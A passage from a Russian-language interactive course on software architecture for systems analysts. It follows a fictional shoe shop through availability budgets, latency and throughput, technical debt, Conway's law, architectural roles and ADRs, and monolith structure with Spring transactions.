минут простоя в месяц:          (1 − A) × 43 830   (средний месяц = 30,44 суток)
Оговорка про резерв. Формула для параллельных копий верна, только если копии падают независимо. Две копии в одной зоне облака, с одной и той же ошибкой в коде или с общей базой падают вместе. Поэтому резерв без разнесения по зонам и без учений даёт намного меньше, чем обещает формула.

Калькулятор: девятки, цепочка и месяц простоев

4
10
2
Как читать календарь. Каждая полоса — один месяц одного звена, слева направо 30 дней. Красные засечки — простои. Нижняя полоса — что видит Анна: заказ не проходит, если лежит любое звено. Простои разных звеньев редко совпадают по времени, поэтому для покупателя они складываются. Засечки нарисованы не тоньше двух пикселей, иначе короткий простой не был бы виден, — поэтому на глаз они кажутся длиннее, чем есть.
Что вы увидите. Четыре звена по 99,9 % дают Анне около 99,6 % — почти три часа простоя в месяц вместо 43 минут. Десять звеньев — больше семи часов. Выкаты с простоем в 2 минуты съедают бюджет быстрее, чем кажется. А резерв в другой зоне превращает те же звенья в почти идеальные — если копии правда независимы.
Как это звучит в требованиях. «SLO оформления заказа: 99,9 % успешных запросов за скользящие 30 дней. Успешный запрос — ответ без ошибки сервера (не 5xx) не дольше 2 секунд. Плановые работы входят в бюджет ошибок. При израсходовании 75 % бюджета выпуски новых функций в оформлении заказа приостанавливаются до конца периода». Обратите внимание: здесь определено, что считается успехом и что делаем, когда бюджет кончается. Без этих двух строк число 99,9 % ничего не значит.
Типичные ошибки. Обещать 99,99 %, когда цепочка из шести синхронных звеньев по 99,9 % физически не даёт больше 99,4 %. Считать «аптайм сервера» вместо доли успешных запросов: сервер жив, а отвечает ошибками. Не спросить, сколько стоит минута простоя, — тогда непонятно, окупится ли следующая девятка. А каждая следующая девятка стоит примерно как все предыдущие вместе.

глава 11 · числа откуда берутся 400 мс и 1200 запросов в секунду

«Система должна быть быстрой» — это не требование. Требование выглядит так: p95 ниже 400 мс при 1200 запросах в секунду. Сейчас разберём, из чего эти два числа складываются и что на них влияет. Это нужно аналитику не для того, чтобы оптимизировать самому, а чтобы понимать, реалистично ли число, которое он пишет в требования.

Задержка (latency) — сколько ждёт один запрос. Пропускная способность (throughput) — сколько запросов система обслуживает в секунду. Перцентиль p95 — время, в которое укладываются 95 запросов из 100. Узкое место (bottleneck) — звено, которое ограничивает всю систему: ускорять имеет смысл только его.
очередь в столовой. Задержка — сколько вы стоите с подносом. Пропускная способность — сколько человек в минуту выходит с обедом. Узкое место — касса: хоть десять раздатчиц поставьте, если касса одна, быстрее не станет.

Шаг 1. Задержка — это сумма звеньев

Возьмём запрос «открыть список товаров». Он не «медленный» сам по себе — он состоит из кусков, и каждый кусок можно посчитать отдельно.

Шаг 2. Включите улучшения и смотрите, что меняется

Отметьте, что вы сделали с системой. Числа пересчитаются, а внизу будет написано, что теперь стало узким местом. Попробуйте добиться обеих целей: p95 ниже 400 мс и 1200 запросов в секунду.

Откуда берётся пропускная способность. Это не отдельная настройка, а следствие: запросов в секунду = число рабочих потоков ÷ задержку одного запроса. Это закон Литтла. Отсюда главное следствие: ускорили один запрос — подняли пропускную способность всей системы, не докупая железа.

Шаг 3. Что на что влияет

Таблица, к которой стоит возвращаться. Слева — что болит, справа — куда смотреть и чем платить за лечение.

Узкое местоКак выглядитЧем лечитсяЧем платите
База: запрос без индексаp95 растёт вместе с объёмом таблицы. Вчера 20 мс, сегодня 300 мс, данных стало вдвое большеИндекс под конкретный запросЗапись чуть медленнее, место на диске. Почти всегда окупается
База: запросов слишком многоКаждый по 5 мс, но их 200 на один экран. Классическая «задача N+1»Один запрос вместо двухсот; кеш; готовая витринаКеш устаревает, витрина отстаёт
Сеть: много круговСервис зовёт четыре других по очереди. Задержки складываютсяЗвать параллельно; собрать один толстый вызов вместо четырёх тонкихСложнее обработка ошибок: четыре источника вместо одного
Сеть: далеко до клиентаКлиент во Владивостоке, сервер в Москве. 120 мс только на дорогу, туда и обратноCDN для статики; точка присутствия ближе к клиентуДеньги и сложность обновления кешей
Потоков не хватаетЗадержка одного запроса в норме, но очередь на входе растётБольше потоков или узловПомогает, только если узкое место не база. Иначе вы просто быстрее приносите базе то, что она не успевает переварить
Внешний смежник тормозитВаш код быстрый, но ждёт чужого ответа две секундыТаймаут, размыкатель цепи, ответ из кеша, асинхронная обработкаДанные могут быть неточными, часть функций деградирует
Большие тела ответовОтдаёте 2 МБ JSON, из которых клиент показывает три поляОтдавать только нужные поля; сжатие; постраничная выдачаБольше вариантов ответа — больше договорённостей с клиентом
Главное правило. Улучшать надо узкое место, а не то, что проще улучшить. Ускорили звено, которое занимало 3 мс из 150, — итог изменился на 2 %, а вы потратили неделю. Поэтому сначала измеряют, где время, и только потом чинят.
Почему меряют перцентили, а не среднее. Среднее в 200 мс прекрасно уживается с тем, что каждый двадцатый клиент ждёт шесть секунд. p95 = 400 мс читается так: 95 запросов из 100 уложились в 400 мс, а пять — нет. Эти пять и приходят в поддержку.

Что портит четыре главных свойства и как это чинить

Четыре свойства, из-за которых чаще всего зовут архитектора. Выберите свойство — получите список того, что на него влияет. Нажмите на причину — увидите, как она выглядит, почему так происходит, чем лечится и чем за это платят.

Как этим пользоваться на работе. Когда говорят «у нас медленно» или «у нас падает», не гадайте. Пройдите список сверху вниз и отметьте, что из этого про вас. Обычно совпадают две-три причины, и одна из них даёт 80 % эффекта.

глава 12 · долг технический долг как кредит

К лету в «Ботинке-1» каждая доработка стала занимать вдвое дольше, чем весной. Никто не стал работать хуже. Просто каждое «сделаем пока так, потом поправим» копилось. Это копилка имеет имя.

Технический долг (technical debt) — все места в системе, где сделали быстрее, чем правильно, и отложили исправление. Метафору предложил Уорд Каннингем в 1992 году: быстрое решение — как кредит. Деньги (время) вы получили сейчас, а отдавать придётся потом — с процентами.
Проценты по долгу — лишнее время, которое команда тратит каждый спринт, обходя старые недоделки: разбирается в запутанном коде, чинит повторяющиеся баги, делает одно изменение в пяти местах. Тело долга — работа, которая нужна, чтобы недоделку исправить раз и навсегда.
кредитная карта. Купили телевизор сегодня, а платите потом. Если гасить понемногу — нормальный инструмент. Если платить только минимальный платёж, долг растёт, и однажды вся зарплата уходит на проценты. У «Ботинка-1» к декабрю 40 % времени команды уходило на проценты.
Проще говоря. Долг — не всегда плохо. Взять его перед запуском, чтобы успеть к Чёрной пятнице, — разумно, как взять ипотеку. Плохо — не знать, сколько ты должен, и никогда не платить.

Какой бывает долг: квадрант Фаулера

Мартин Фаулер в 2009 году разложил долг по двум осям: осознанный или случайный, разумный или безрассудный.

безрассудный
разумный
осознанный
«Некогда проектировать»«Ботинок-1» в марте: «таймауты и ключ идемпотентности потом, сейчас запуск». Знали, что плохо, и не записали, когда вернуть.
«Выпускаем сейчас, чиним после»«Ботинок-2» перед Чёрной пятницей: отчёт собрали на скорую руку, записали задачу в реестр долга с датой — через две недели после распродажи.
случайный
«А что такое модули?»Команда не знала, что код можно разделить границами, и размазала доставку по всей программе.
«Теперь мы знаем, как надо было»Через год стало видно, что каталог лучше было устроить иначе. Это нормальный долг: он появляется у любой команды, которая учится.

Симулятор: двадцать спринтов «Ботинка»

У команды 30 очков работы на спринт (две недели). Выберите, срезать ли углы, и какую долю спринта отдавать на погашение долга. Жмите «▶ Спринт» по одному или сразу «⏩ До конца». Настройки можно менять посреди пути — например, срезать углы перед Чёрной пятницей, а потом погасить.

углы:
15 %
Как читать график. Синие столбики — сколько очков новых функций команда сделала за спринт. Пунктирные контуры — то же для «Ботинка-1» (всегда срезаем, ничего не гасим): с ними удобно сравнивать. Красная линия — величина долга. Серым — спринты, которые ещё впереди.
Что заложено в модель. Срезанные углы ускоряют работу сейчас (до +25 %), но каждое сделанное очко добавляет долг. Долг отнимает у команды долю времени — это проценты: чем больше долг, тем больше доля, но не больше 70 %. Погашение уменьшает долг очко за очко. Числа условные; поведение — то, что видно в реальных командах.
Что вы увидите. «Всегда срезаем» первые месяцы действительно быстрее. Примерно к 9–10-му спринту аккуратная команда её догоняет по сумме сделанного, а к 20-му обгоняет на пятую часть — и продолжает уходить вперёд. Разумный долг выглядит иначе: срезать углы короткий период перед важной датой, а сразу после поднять долю погашения. По сумме очков это чуть хуже аккуратной работы, зато нужное успели к дате. Задача: к 20-му спринту обогнать «Ботинок-1» хотя бы на 15 %.
Как аналитику говорить о долге с бизнесом. Не «код плохой», а в деньгах и сроках: «любая доработка доставки сейчас идёт на 40 % дольше; если вложить две недели в переделку модуля, следующие пять доработок окупят их». Помогает реестр долга: что недоделано, где, сколько стоят проценты в спринт, сколько стоит тело. И договорённость о постоянной доле: например, 15–20 % каждого спринта.

глава 13 · много частей когда частей много: восемь заблуждений и закон Конвея

На третий год «Ботинок» вырос: пять команд, несколько сервисов, вызовы по сети. Всё, что внутри одной программы было бесплатным, стало стоить денег и миллисекунд. Разработчики, привыкшие к одной программе, совершают одни и те же ошибки. Их давно собрали в список.

Распределённая система — система, части которой работают на разных компьютерах и общаются по сети. Вызов «соседа» здесь — не вызов функции, а письмо, которое может потеряться, опоздать или прийти дважды.
одна семья на одной кухне договаривается голосом. Если родственники живут в разных городах, договариваться приходится по телефону и письмами: кто-то не взял трубку, кто-то ответил через неделю, а кто-то понял «в восемь» по своему часовому поясу.

Восемь заблуждений распределённых вычислений

Список Питера Дойча и Джеймса Гослинга. Каждое заблуждение — это то, что разработчик неосознанно считает правдой, пока не вынесет вызов за пределы процесса. Выберите пункт: там написано, во что это выливается в проде.

Зачем это аналитику. Каждое заблуждение — это забытый сценарий в постановке. «Сеть надёжна» — значит, никто не описал, что будет при повторе оплаты. «Администратор один» — значит, никто не договорился, как соседи предупреждают об изменении API. Хорошая постановка интеграции отвечает на восемь вопросов: что при потере, при задержке, при большом объёме, при чужом доступе, при смене адреса, при смене версии, сколько стоит вызов и в каком формате даты.

Закон Конвея и обратный манёвр

Закон Конвея (1967): организация проектирует системы, копирующие структуру коммуникаций внутри неё. Четыре команды, которые не разговаривают между собой, физически не смогут построить один связный модуль — граница пройдёт там, где проходит граница общения.
Обратный манёвр Конвея: раз структура команд всё равно отпечатается в системе — сначала нарисуйте нужные границы, потом под них соберите команды. Это единственный способ получить архитектуру, отличную от оргструктуры.
три бригады строят дом, каждая свой этаж, и бригадиры почти не общаются. Этажи получатся разные, а стыки — там, где бригадиры успели договориться. Хотите, чтобы кухня и столовая были единым пространством, — поручите их одной бригаде.

Симптом «архитектура = оргструктура»

Сервисы называются «бэкенд», «фронтенд», «интеграции», «отчёты». Это слои и отделы, а не части бизнеса. Любая бизнес-фича требует правок во всех четырёх и четырёх согласований.

Как должно быть

Сервисы называются «Заказы», «Платежи», «Каталог», «Доставка». У каждого команда, которая может выкатить фичу целиком, не спрашивая остальных. Это и есть поток-ориентированная команда.

Вывод для аналитика. Когда вы пишете постановку, которая задевает четыре команды, посмотрите: может, это не особенность задачи, а симптом неудачных границ? Такие наблюдения — ценный сигнал для архитектора.

глава 14 · роли кто решает: бизнес, аналитик, архитектор

В «Ботинке-1» все решения принимал Борис — просто потому, что он писал код. В «Ботинке-2» решения принимались вместе, но у каждого была своя часть. Разберём, чья какая.

Архитектор — роль, а не обязательно должность. Архитектор видит систему целиком, предлагает варианты решений, считает их цену и компромиссы, принимает архитектурные решения и следит, чтобы их соблюдали. В маленькой команде эту роль может исполнять ведущий разработчик.
Системный аналитик — переводчик между бизнесом и технарями. Выясняет, что нужно на самом деле, и записывает это однозначно: функции, сценарии, ограничения и нефункциональные требования в числах. Находит среди требований те, что влияют на архитектуру, и приносит их архитектору.
Бизнес (владелец продукта, заказчик — в нашей истории Вера) — решает, какой компромисс приемлем: сколько платить, чем пожертвовать, какой риск допустим. Архитектор и аналитик готовят варианты с ценой; выбор между ценами — за бизнесом.
ремонт. Хозяйка решает, на что тратить деньги и чем пожертвовать: кухня побольше или вторая ванная. Прораб-переводчик выясняет, как семья живёт, и записывает: «готовят каждый день, гостей по выходным до 10 человек». Архитектор предлагает три планировки и честно говорит, где несущая стена и сколько стоит каждая. Выбирает хозяйка.

Кто за что отвечает

ЧтоБизнесАналитикАрхитектор
Цели и ограничения (деньги, сроки, риск)решаетвыясняет и записываетпроверяет на реалистичность
Функции и сценарии, в том числе сценарии отказовподтверждаетописываетзадаёт вопросы «а если…»
НФТ в числахназывает цену простоя и ожиданияформулирует измеримопроверяет, достижимо ли и сколько стоит
Архитектурно значимые требования—находит и приноситоценивает влияние
Варианты решения и их цена—помогает перевести цену на язык бизнесаготовит
Выбор между вариантами с разной ценой для бизнесавыбираетготовит сравнениерекомендует
Технические решения внутри выбранного варианта——принимает
Запись решения (ADR) и контроль соблюдения—ссылается в постановкеведёт

Путь одного требования: от «хочу» до решения

Вера говорит: «В Чёрную пятницу заказов будет в 20 раз больше». Пройдите, как это превращается в решение.

Архитектурно значимые требования

Архитектурно значимое требование (architecturally significant requirement, ASR) — требование, которое заметно влияет на устройство системы. Если его поменять, поменяется архитектура. Обычно это требования к качеству и внешние ограничения, реже — функции.
при покупке квартиры «хочу видеть парк из окна» почти ничего не меняет — выбрали сторону дома. А «у нас инвалидная коляска» меняет всё: этаж, лифт, ширину дверей, санузел. Второе — архитектурно значимое.

Признаки ASR — если хотя бы два совпали, несите требование архитектору:

Задевает много частей

Аудит всех изменений цены, единый вход, мультиязычность.

Про качество, а не функцию

Нагрузка, доступность, время ответа, безопасность, время на изменение.

Жёсткое внешнее ограничение

Закон (например, 152-ФЗ о персональных данных), требования банка, формат партнёра, бюджет.

Дорого исправить потом

Касается данных, внешних контрактов, модели денег и идентификаторов.

Высокий риск или неизвестность

Никто в команде такого не делал; нагрузка непонятна; партнёр ещё не выбран.

Резкие числа

«В 20 раз больше», «за 1 минуту», «0 потерянных», «99,99 %».

Сортировщик: значимое или обычное?

Решено 0 из 0.

Как приоритизировать: дерево полезности

Значимых требований обычно больше, чем можно сделать сразу. Метод оценки архитектуры ATAM (тоже из SEI) предлагает дерево полезности: атрибут → уточнение → сценарий, и у каждого сценария две оценки: важность для бизнеса и сложность для архитектуры (В — высокая, С — средняя, Н — низкая). Первыми обсуждают сценарии с парой (В, В).

Полезность «Ботинка»
├─ Доступность
│   ├─ отказ сервера базы ....... заказы не теряются, простой ≤ 60 с        (В, В)
│   └─ выкатка новой версии ..... без простоя оформления заказа              (В, С)
├─ Производительность
│   ├─ Чёрная пятница ×20 ....... p95 оформления ≤ 1 с, ошибок ≤ 0,5 %      (В, В)
│   └─ ежедневный отчёт ......... не замедляет продажи больше чем на 10 %    (С, Н)
├─ Изменяемость
│   └─ новый способ оплаты ...... ≤ 10 рабочих дней, правки в 1 модуле       (В, С)
└─ Безопасность
    └─ вход в чужой аккаунт ..... второй фактор с нового устройства           (В, С)
У системы с языковой моделью в дереве появляются свои ветки: опора на источник, доля выдумок, задержка до первого слова, цена ответа, свежесть базы знаний. Как их записать числами и собрать из пожелания сценарий — в разделе

Как записать решение: ADR

Когда решение принято, его записывают коротко. Такой документ называется ADR (Architecture Decision Record, запись архитектурного решения). Формат предложил Майкл Найгард в 2011 году. Вот ADR «Ботинка-2» из января.

ADR-002. Денежные суммы — целым числом в копейках
Статус:   принято, 12 января
Контекст: скидки в процентах, НДС, возвраты частями. Чеки сверяются
          с банком до копейки. Дробные числа с плавающей точкой
          округляют по-разному в разных местах.
Решение:  все суммы хранятся и передаются целым числом в копейках
          (4 990 ₽ → 499000). Округление — только в модуле расчёта
          цены, до копейки, половина — вверх.
Цена:     чуть неудобнее читать в базе; на экране нужно форматирование.
Пересмотр: если появится валюта с другим числом знаков после запятой.
Где тут аналитик. Контекст ADR почти целиком взят из вопросов Олега: как считаются скидки, как сверяемся с банком, бывают ли частичные возвраты. Аналитик не пишет ADR — он даёт ему фундамент. А в постановке ставит ссылку: «суммы — в копейках, см. ADR-002».

Сортировщик: кто здесь главный?

Для каждой задачи выберите, кто за неё отвечает — чьё это решение или чья работа в первую очередь.

Решено 0 из 0.

Типичные ошибки аналитика в архитектурных вопросах. Писать решение вместо требования («использовать Kafka»). Писать пожелания вместо чисел («быстро»). Описывать только счастливый путь и забывать сценарии отказов: что если банк не ответил, если нажали дважды, если склад недоступен. Не спрашивать бизнес о цене простоя и ожидания. Не записывать допущения («нагрузка не больше 50 заказов в минуту») — а потом именно они и ломаются.

глава 15 · развязка год спустя: что на самом деле сделал архитектор

Декабрь. У «Ботинка-1» и «Ботинка-2» одинаковые витрины, одинаковый ассортимент и одинаковая команда. Покупатели разницы почти не видят. Пока. Сведём итоги в одну таблицу — нажмите на строку, чтобы увидеть разбор.

Что сделала Марина за год. Около 50 часов разговоров — по часу в неделю. Десяток записанных решений. Две страницы НФТ в числах вместо одной строки «быстро и надёжно». Три сознательно отложенных решения. Ни одной сложной технологии «на вырост».
Чего архитектура не сделала. Она не защитила от всех сбоев — у «Ботинка-2» тоже падал блок рекомендаций и отставали цены в каталоге. Она не ускорила запуск — оба магазина открылись в марте. Она сделала другое: сбои стали дешёвыми, а изменения — предсказуемыми. Через год это стоит дороже всего остального.

Шесть мыслей, которые стоит унести

глава 16 · проверь себя задачи из жизни «Ботинка»

Отличить архитектурное решение от прикладного

Решено 0 из 0.

Решения, числа и роли

Решено 0 из 0.

Дальше → то же самое, но на кафе, почте и гардеробе — и игра «Кафе растёт»

Вся архитектура уже придумана — в кафе, в поликлинике, на почте и в супермаркете. Там те же задачи: много людей, мало рук, что-то ломается, и всё равно надо обслужить. Здесь мы сначала посмотрим, как это работает в жизни, а потом уже будем называть умными словами.

зачем это зачем разбирать живые системы

игра «Кафе растёт»: пройдите путь от ларька до сети

Вы открыли кафе. Каждый раунд гостей становится больше, и что-то начинает ломаться. Выберите, что сделать. Правильный выбор — гости довольны. Неправильный — уходят к конкурентам.

Гостей в час: 10 Обслужили: 0 Ушли злые: 0 Раунд: 1 из 9

переводчик умное слово → что это на самом деле

Нажмите на карточку — увидите, что это значит «на человеческом». Это не упрощение ради упрощения: если вы не можете объяснить термин через кафе или почту, вы его пока не понимаете.

задание угадайте термин по описанию

Описание бытовое — термин архитектурный. Решено 0 из 0.

Дальше → а теперь то же самое, но про программы. Начнём с монолита

Монолит — это когда весь код собирается в одну программу и запускается одним куском. И всё. Это не оценка «хорошо» или «плохо»: внутри монолита может быть идеальный порядок, а может быть свалка. Большинство систем должны начинаться отсюда — и многим тут и место. Весь раздел — один год из жизни магазина «Ботинок»: разработчик Борис делает первый коммит в январе, а к декабрю его аккуратная программа превращается в «большой ком грязи». Проживём этот год по месяцам — и посмотрим, где монолит силён, где он ломается и как его лечить без переписывания.

зачем это зачем вообще начинать с монолита

карта раздела один год одного монолита, двенадцать глав

Читайте по порядку: каждая глава опирается на предыдущую, а месяцы идут друг за другом. Кнопка переносит к главе. Четыре главы — живые модели: их можно запускать, ломать и чинить.

глава 1 · январь первый коммит: что такое монолит и что значит «одна программа»

Январь. Борис — единственный разработчик магазина кроссовок «Ботинок». Владелец хочет сайт к весне: каталог, корзина, заказ, бонусные баллы. Борис создаёт один проект shop, одну базу shop_db и делает первый коммит. Никакого «архитектурного решения» он не принимает — он просто пишет программу. И программа получается монолитом: так выглядит почти любая система в первый день жизни.

Монолит (monolith, monolithic application) — приложение, которое собирается в один артефакт, запускается как один процесс (или несколько одинаковых копий этого процесса) и хранит данные в одной общей базе. Это слово про то, как система собирается и выкатывается, а не про то, хорош ли её код.
монолит — это универсальный магазин под одной крышей. Продукты, одежда, аптека, касса — всё в одном здании, один директор, один склад, один график работы. Удобно: из аптеки в продукты — два шага, без улицы. Но захотели поменять вывеску на аптеке — закрываете весь магазин на час, потому что электрик один и рубильник общий.
Артефакт сборки (build artifact) — готовый к запуску файл, который получается из исходного кода. У Бориса это shop.jar: в нём скомпилированный код всех частей магазина и все библиотеки.
Процесс (process) — запущенная программа. У процесса своя память и свои потоки. Два процесса не видят памяти друг друга: общаться они могут только через сеть, файлы или общую базу.

Что значит «одна программа» — буквально, в командах

«Одна программа» — это буквально три вещи одновременно. Раскройте каждую: там вывод настоящих команд.

Проще говоря. Монолит — это когда «выкатить заказы» и «выкатить весь магазин» — одно и то же действие. Других вариантов просто нет: заказы не существуют отдельно от остального.

Три признака — три рычага

Самое полезное, что стоит понять про монолит: почти все остальные стили получаются, если у монолита отключить один из трёх признаков. Попробуйте — снимайте галочки и смотрите, во что он превращается.

Частая путаница. «Монолит», «плохой код» и «легаси» — три разных слова. Монолит — это способ сборки и выкатки. Плохой код бывает и в микросервисах. Легаси — это система, которую страшно трогать, в любом стиле. Когда в разговоре говорят «у нас монолит» с интонацией «у нас беда», почти всегда имеют в виду не монолит, а отсутствие границ внутри него. К этому мы придём в главе 8.

Как это звучит у аналитика

В архитектурном разделе требований монолит описывают прямо и без стыда. Например:

АР-1. Система поставляется как одно приложение (один артефакт развёртывания) с одной реляционной базой данных. АР-2. Масштабирование — горизонтальное: запуск N одинаковых экземпляров за балансировщиком нагрузки. Экземпляр не хранит состояние пользователя в своей памяти. АР-3. Операции, меняющие несколько сущностей (заказ, остаток, бонусы), выполняются в одной транзакции базы данных.

Каждая из этих трёх строк появится в истории Бориса ещё раз — и каждая окажется не формальностью.

глава 2 · февраль слои: как Борис раскладывает код по полочкам

Февраль. Кода стало несколько тысяч строк, и Борис раскладывает его так, как учат в каждом учебнике по Spring: по слоям. Запрос приходит сверху, проходит через слои и уходит в базу.

Слоистая архитектура (layered architecture) — код делится на слои по технической роли, и каждый слой обращается только к слою под собой. Классическая тройка: представление → бизнес-логика → доступ к данным, а под ними база.
ресторан. Официант принимает заказ и приносит блюдо, но не готовит. Повар готовит по рецепту, но не ходит в зал и не ездит на склад. Кладовщик выдаёт продукты, но не знает рецептов. Каждый делает своё и разговаривает только с соседом по цепочке.

🎛 Контроллер (controller)

Принимает HTTP-запрос, проверяет, что данные правильной формы (число — это число, размер не пустой), вызывает сервис и превращает результат в ответ. Правил бизнеса не содержит. Официант.

⚙ Сервис (service)

Бизнес-правила: «нельзя продать больше, чем на складе», «бонусами можно оплатить не больше 30 % заказа». Здесь начинается и заканчивается транзакция. Повар.

🗂 Репозиторий (repository)

Единственное место, где живёт SQL: «найди заказ», «сохрани», «уменьши остаток». Сервис не знает, как устроены таблицы, — он просит репозиторий. Кладовщик.

🗄 База данных

Хранит таблицы, следит за ограничениями (остаток не меньше нуля) и даёт транзакции: либо все изменения, либо ни одного. Склад.

Объект передачи данных (DTO, data transfer object) — простая «коробка с полями», в которой данные уходят наружу, например в ответ браузеру. Внутренняя модель (сущность Order со всеми связями) наружу не показывается — отдаётся её упрощённая копия.

Схема: как он устроен

Классический монолит режется по слоям: контроллеры сверху, сервисы посередине, репозитории снизу, одна база под всем. Бизнес-возможности при этом размазаны горизонтально: «Заказы» живут кусочками в каждом слое.

Контроллеры  ·  OrderController · PaymentController · CatalogControllerслой представления
↓
Сервисы  ·  OrderService · PaymentService · CatalogServiceслой бизнес-логики — здесь все ходят ко всем
↓
Репозитории  ·  OrderRepo · PaymentRepo · CatalogRepoслой доступа к данным
↓
Одна база данных — все таблицы видны всеми это главный источник будущей боли
Ключевая деталь, из-за которой монолиты «портятся»: в слоёной нарезке ничто не мешает OrderService дёрнуть PaymentRepo напрямую, а отчёту — сделать JOIN по семи чужим таблицам. Компилятор это разрешает, ревью пропускает, и через два года каждая таблица используется двенадцатью местами. Вынести что-либо после этого физически невозможно — не потому что монолит, а потому что не было границ.
Проще говоря. Слои отвечают на вопрос «какого рода этот код» — HTTP, правила или SQL. Но не отвечают на вопрос «к какой части бизнеса он относится». Поэтому «Заказы» размазаны по всем трём слоям, а стен между «Заказами» и «Бонусами» нет вовсе. Слои — это этажи здания без перегородок между квартирами.

Проводник по коду: откройте монолит и посмотрите, что внутри

Настоящий проект интернет-магазина. Нажимайте на файлы слева — справа будет их содержимое и разбор, что здесь важного.

глава 3 · март · живая модель Анна оформляет заказ: путь запроса через слои

Март. Сайт открылся. Анна выбирает кроссовки 42 размера за 7 990 ₽, решает списать 500 бонусных баллов и нажимает «Оформить заказ». Для неё проходит доля секунды. Внутри монолита за это время запрос проходит все слои, меняет три таблицы и либо сохраняет всё, либо не сохраняет ничего. Посмотрим на это по шагам — а потом начнём ломать.

Транзакция (transaction) — несколько действий с базой, которые считаются одним: либо проходят все, либо не проходит ни одно. Начинается командой BEGIN, заканчивается COMMIT (подтвердить всё) или ROLLBACK (отменить всё).
покупка квартиры у нотариуса. Деньги ушли продавцу и квартира перешла покупателю — в одну минуту, одной подписью. Не бывает так, чтобы деньги ушли, а квартира осталась у продавца: если что-то пошло не так, отменяется вся сделка.
Откат (rollback) — отмена всех изменений незавершённой транзакции. База возвращает данные к виду «как до BEGIN», будто ничего и не начиналось.
Исключение (exception) — сигнал «дальше так нельзя». Оно прерывает метод и «всплывает» вверх по цепочке вызовов — из репозитория в сервис, из сервиса в контроллер, — пока кто-нибудь его не поймает.
пожарная тревога в офисе. Сработал датчик на третьем этаже, а работа останавливается во всём здании, и все идут к выходу по одному и тому же маршруту. В монолите «маршрут к выходу» заранее известен: исключение поднимается по слоям, по дороге транзакция откатывается, а у выхода контроллер превращает его в понятный ответ.

Выберите сценарий и жмите «Дальше» или ▶. Пакет летит между слоями. Под схемой — рамка транзакции и три таблицы: жёлтым курсивом — черновик, который видит только эта транзакция; зелёным — подтверждённые данные; зачёркнутым красным — то, что откатили.

сценарий
транзакция не открыта

что происходит
почему так
Как читать схему. Пять блоков — пять участников: браузер Анны, контроллер, сервис, репозитории и база. Контроллер, сервис и репозиторий — это один процесс shop.jar: пакет между ними перелетает за наносекунды, это обычный вызов метода. Настоящая сеть — только слева (от браузера) и справа (до базы). Рамка «транзакция» растянута от сервиса до базы: именно сервис её открывает и закрывает.
Ловушка Spring, о которой стоит знать. По умолчанию @Transactional откатывает транзакцию только на непроверяемых исключениях (наследниках RuntimeException) и ошибках (Error). Проверяемое исключение (Exception, которое обязательно объявлять в throws) по умолчанию приведёт к COMMIT всего, что успели сделать. Лечится явным @Transactional(rollbackFor = Exception.class) или привычкой бросать непроверяемые исключения. И второе: @Transactional срабатывает только при вызове метода снаружи объекта — вызов своего же метода через this транзакцию не откроет.
Проще говоря. В монолите «всё или ничего» стоит одно слово над методом. Сломалось на любом шаге — база сама вернёт остаток, удалит черновик заказа и вернёт бонусы. В главе 4 и на вкладке про саги видно, во что это превращается, когда заказы, склад и бонусы живут в разных сервисах: вместо одного слова — компенсации, повторы и разбор «застрявших» заказов.

глава 4 · апрель · калькулятор почему монолит быстрый: вызов в памяти против сетевого

Апрель. Борис начитался статей и приходит к аналитику Олегу: «Давай распилим магазин на сервисы, так же все делают». Олег не спорит, а открывает калькулятор. Первое, что он хочет понять: что станет со скоростью, если каждый вызов метода между частями магазина превратится в запрос по сети.

Вызов в памяти (in-process call) — один метод вызывает другой внутри того же процесса. Процессор просто переходит к другому куску кода. Занимает единицы наносекунд, а часто и вовсе ничего: компилятор встраивает маленький метод прямо в место вызова.
Сетевой вызов (remote call, RPC) — запрос в другой процесс через сеть: упаковать данные, отправить, дождаться, пока другая сторона распакует, выполнит, упакует ответ и пришлёт обратно. Даже внутри одного дата-центра это сотни микросекунд и миллисекунды.
Сериализация (serialization) — превращение объекта в байты (например, в JSON), чтобы отправить его по сети. На другой стороне — обратное превращение, десериализация. В монолите её нет вовсе: методы передают друг другу ссылку на один и тот же объект в памяти.
вызов в памяти — спросить коллегу за соседним столом: «Сколько осталось ботинок?» — и услышать ответ через секунду. Сетевой вызов — написать письмо в офис в другом городе: запечатать в конверт, отправить, ждать, пока там вскроют, найдут ответ, запечатают и пришлют. И иногда письмо теряется.

Ориентиры: порядки величин

Точные цифры зависят от железа, языка и сети. Но порядки стабильны уже много лет, и именно они решают дело.

ДействиеПорядок времениЕсли растянуть вызов метода (5 нс) до 1 секунды
Вызов метода в том же процессе≈ 1–5 нс1 секунда
Чтение из оперативной памяти≈ 100 нс20 секунд
Туда-обратно по сети внутри дата-центра≈ 0,1–0,5 мсот шести часов до суток
Запрос к базе по индексу (со своей сетью)≈ 0,5–2 мсот суток до пяти дней
HTTP + JSON к соседнему сервису≈ 1–5 мсот двух дней до двух недель
Запрос на другой континент≈ 70–150 мсот полугода до года

Ориентиры восходят к известному списку «задержки, которые должен знать каждый программист» (Джефф Дин, Питер Норвиг) и к сегодняшним замерам в облаках. Это порядок, а не обещание: у вас может быть в 2–3 раза быстрее или медленнее — но не в тысячу.

Калькулятор: что станет с запросом Анны

Оформление заказа внутри монолита — это цепочка вызовов между частями: заказы спрашивают склад, склад — каталог, заказы — бонусы, бонусы — клиентов. Сколько таких вызовов на один запрос? В реальных системах — от единиц до десятков. Двигайте ползунки.

12
0,5 мс
4 КБ
0,1 %
Что заложено в расчёт. Вызов в памяти — 5 нс (с запасом). Сетевой вызов — время сети туда-обратно плюс упаковка и распаковка JSON: примерно 0,02 мс на килобайт с обеих сторон вместе, плюс 0,1 мс на установку заголовков, пул соединений и работу фреймворка. Сбой: хотя бы один из N вызовов не удался — это 1 − (1 − p)N. Повторы и таймауты здесь не учтены: они добавляют и время, и сложность.
Проще говоря. Превратить вызов метода в сетевой — это не «поменять одну строку». Это заменить наносекунды на миллисекунды (в сотни тысяч раз медленнее) и «не может не дойти» на «иногда не доходит». Монолит быстр не потому, что он умный, а потому, что его части разговаривают шёпотом через стол, а не письмами. Этим же объясняется главное правило распределённых систем: «не распределяйте, пока не вынуждены».
Что Олег ответил Борису. «Скорость мы потеряем точно, а выиграем — независимые выкладки, которые нам, одной команде, пока не нужны. Давай вернёмся к вопросу, когда нас станет много». Это честный ответ: сервисы делят не ради скорости, а ради независимости команд. Почему сеть ещё и ненадёжна, а не только медленна, — на вкладке про устойчивость.

глава 5 · май · живая модель распродажа: как масштабируют монолит и где он упирается

